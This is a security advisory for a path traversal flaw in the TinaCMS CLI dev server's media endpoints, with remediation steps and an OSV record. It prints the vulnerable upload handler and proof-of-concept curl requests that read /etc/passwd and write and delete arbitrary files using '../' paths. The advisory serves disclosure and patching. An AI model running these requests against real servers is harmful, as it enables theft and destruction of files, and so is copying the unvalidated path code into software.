CVE-2026-28793: @tinacms/cli Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-2f24-mg4x-534q
CVSS 8.4
CWE-22
Published
Advisory Summary

CVE-2026-28793 is a HIGH (CVSS 8.4) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting @tinacms/cli libraries in the npm ecosystem. The issue involves tinacms vulnerable to path traversal leading to arbitrary file read, write and delete. Remediation is available by upgrading affected packages to version 2.1.8.

CVE-2026-28793 at a Glance

CVE Identifier CVE-2026-28793
GHSA Identifier GHSA-2f24-mg4x-534q
Severity HIGH
CVSS v3.1 Base Score 8.4
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product @tinacms/cli
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-28793

To remediate this vulnerability, upgrade all affected @tinacms/cli dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@tinacms/cli fixed: 2.1.8
npm install @tinacms/cli@2.1.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @tinacms/cli

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-28793, inspect your project dependencies using npm:

npm ls @tinacms/cli

Analyze the terminal output to locate any version of @tinacms/cli in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.8), your application is affected.

Note: The npm ls @tinacms/cli command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In @tinacms/cli, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory. ## Details When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as: - /media/list/* - /media/upload/* - /media/* These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory. ### Vulnerable code ``` bb.on('file', async (_name, file, _info) => { const fullPath = decodeURI(req.url?.slice('/media/upload/'.length)); const saveTo = path.join(mediaFolder, ...fullPath.split('/')); // No validation that saveTo remains within mediaFolder await fs.ensureDir(path.dirname(saveTo)); file.pipe(fs.createWriteStream(saveTo)); }); ``` ## PoC **Arbitrary File Read** ``` curl "http://localhost:4001/media/list/../../../etc/passwd" ``` Result: <img width="889" height="280" alt="image(1)" src="https://github.com/user-attachments/assets/a878a86a-71db-46ed-abda-3d4ddba692e0" /> **Arbitrary File Write** ``` echo "ATTACKER_CONTROLLED_CONTENT" > /tmp/payload.txt curl --path-as-is -X POST \ "http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt" \ -F "file=@/tmp/payload.txt" cat /tmp/pwned.txt ``` Result: <img width="1320" height="84" alt="image(8)" src="https://github.com/user-attachments/assets/8bd5046b-0456-474f-ab96-4e18a421997c" /> **Arbitrary File Delete** ``` echo "delete_me" > /tmp/delete-test.txt cat /tmp/delete-test.txt # confirms file exists curl --path-as-is -X DELETE \ "http://localhost:4001/media/../../../../../../tmp/delete-test.txt" cat /tmp/delete-test.txt # "No such file or directory" ``` <img width="1135" height="105" alt="image" src="https://github.com/user-attachments/assets/64c24b83-0259-4a12-969d-98c8e8cc81ca" /> ## Impact An attacker who can reach the TinaCMS CLI dev server can: - Read arbitrary files (e.g. /etc/passwd, .env, SSH keys) - Write arbitrary files anywhere writable by the server process - Delete or overwrite files, depending on endpoint usage - Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files ## Attack Surface The dev server binds to localhost by default, but exploitation is realistic in: - Cloud IDEs (Codespaces, Gitpod) - Docker or VM setups with port forwarding - Misconfigured dev environments binding to 0.0.0.0 - Local malware or malicious dependencies The server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation. ## Recommended Fix - Resolve paths to absolute form - Enforce that resolved paths remain within the media root - Reject .. path segments and absolute paths - Consider authentication or token protection for dev server endpoints

CVE-2026-28793 Affected @tinacms/cli Versions

1 component(s)
Fixed Versions:
2.1.8
Product / Package Ecosystem Affected Versions Fixed Version
@tinacms/cli
npm
< 2.1.8
2.1.8

References

Frequently Asked Questions

What is CVE-2026-28793?
CVE-2026-28793 is a security vulnerability in @tinacms/cli involving TinaCMS Vulnerable to Path Traversal Leading to Arbitrary File Read, Write and Delete under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which @tinacms/cli versions are affected?
Affected versions include releases prior to 2.1.8 across affected packages: @tinacms/cli.
What version fixes CVE-2026-28793?
Upgrading to 2.1.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @tinacms/cli affected?
Yes, @tinacms/cli is affected in releases prior to 2.1.8. Upgrade your dependency to 2.1.8 or later.
What is the CVSS score of CVE-2026-28793?
CVE-2026-28793 has a CVSS v3.1 base score of 8.4 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-28793?
CVE-2026-28793 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check npm dependencies for CVE-2026-28793?
Run the dependency tree command: 'npm ls @tinacms/cli'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2f24-mg4x-534q",
  "modified" : "2026-03-12T20:32:26Z",
  "published" : "2026-03-12T20:32:26Z",
  "aliases" : [ "CVE-2026-28793" ],
  "summary" : "TinaCMS Vulnerable to Path Traversal Leading to Arbitrary File Read, Write and Delete",
  "details" : "## Summary\nThe TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.\n\n## Details\nWhen running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:\n\n- /media/list/*\n\n- /media/upload/*\n\n- /media/*\n\nThese endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.\n\n### Vulnerable code\n```\nbb.on('file', async (_name, file, _info) => {\n      const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));\n      const saveTo = path.join(mediaFolder, ...fullPath.split('/'));\n// No validation that saveTo remains within mediaFolder\n      await fs.ensureDir(path.dirname(saveTo));\n      file.pipe(fs.createWriteStream(saveTo));\n    });\n```\n## PoC\n**Arbitrary File Read**\n```\ncurl \"http://localhost:4001/media/list/../../../etc/passwd\"\n```\n\nResult:\n\n<img width=\"889\" height=\"280\" alt=\"image(1)\" src=\"https://github.com/user-attachments/assets/a878a86a-71db-46ed-abda-3d4ddba692e0\" />\n\n\n**Arbitrary File Write**\n```\necho \"ATTACKER_CONTROLLED_CONTENT\" > /tmp/payload.txt\n\ncurl --path-as-is -X POST \\\n  \"http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt\" \\\n  -F \"file=@/tmp/payload.txt\"\ncat /tmp/pwned.txt\n```\nResult:\n<img width=\"1320\" height=\"84\" alt=\"image(8)\" src=\"https://github.com/user-attachments/assets/8bd5046b-0456-474f-ab96-4e18a421997c\" />\n\n**Arbitrary File Delete**\n```\necho \"delete_me\" > /tmp/delete-test.txt\ncat /tmp/delete-test.txt # confirms file exists\ncurl --path-as-is -X DELETE \\\n\"http://localhost:4001/media/../../../../../../tmp/delete-test.txt\"\ncat /tmp/delete-test.txt # \"No such file or directory\"\n```\n<img width=\"1135\" height=\"105\" alt=\"image\" src=\"https://github.com/user-attachments/assets/64c24b83-0259-4a12-969d-98c8e8cc81ca\" />\n\n## Impact\n\nAn attacker who can reach the TinaCMS CLI dev server can:\n\n- Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)\n\n- Write arbitrary files anywhere writable by the server process\n\n- Delete or overwrite files, depending on endpoint usage\n\n- Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files\n\n## Attack Surface\n\nThe dev server binds to localhost by default, but exploitation is realistic in:\n\n- Cloud IDEs (Codespaces, Gitpod)\n\n- Docker or VM setups with port forwarding\n\n- Misconfigured dev environments binding to 0.0.0.0\n\n- Local malware or malicious dependencies\n\nThe server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.\n\n## Recommended Fix\n\n- Resolve paths to absolute form\n\n- Enforce that resolved paths remain within the media root\n\n- Reject .. path segments and absolute paths\n\n- Consider authentication or token protection for dev server endpoints",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@tinacms/cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.1.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/security/advisories/GHSA-2f24-mg4x-534q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28793"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tinacms/tinacms"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-12T20:32:26Z",
    "nvd_published_at" : "2026-03-12T17:16:50Z"
  }
}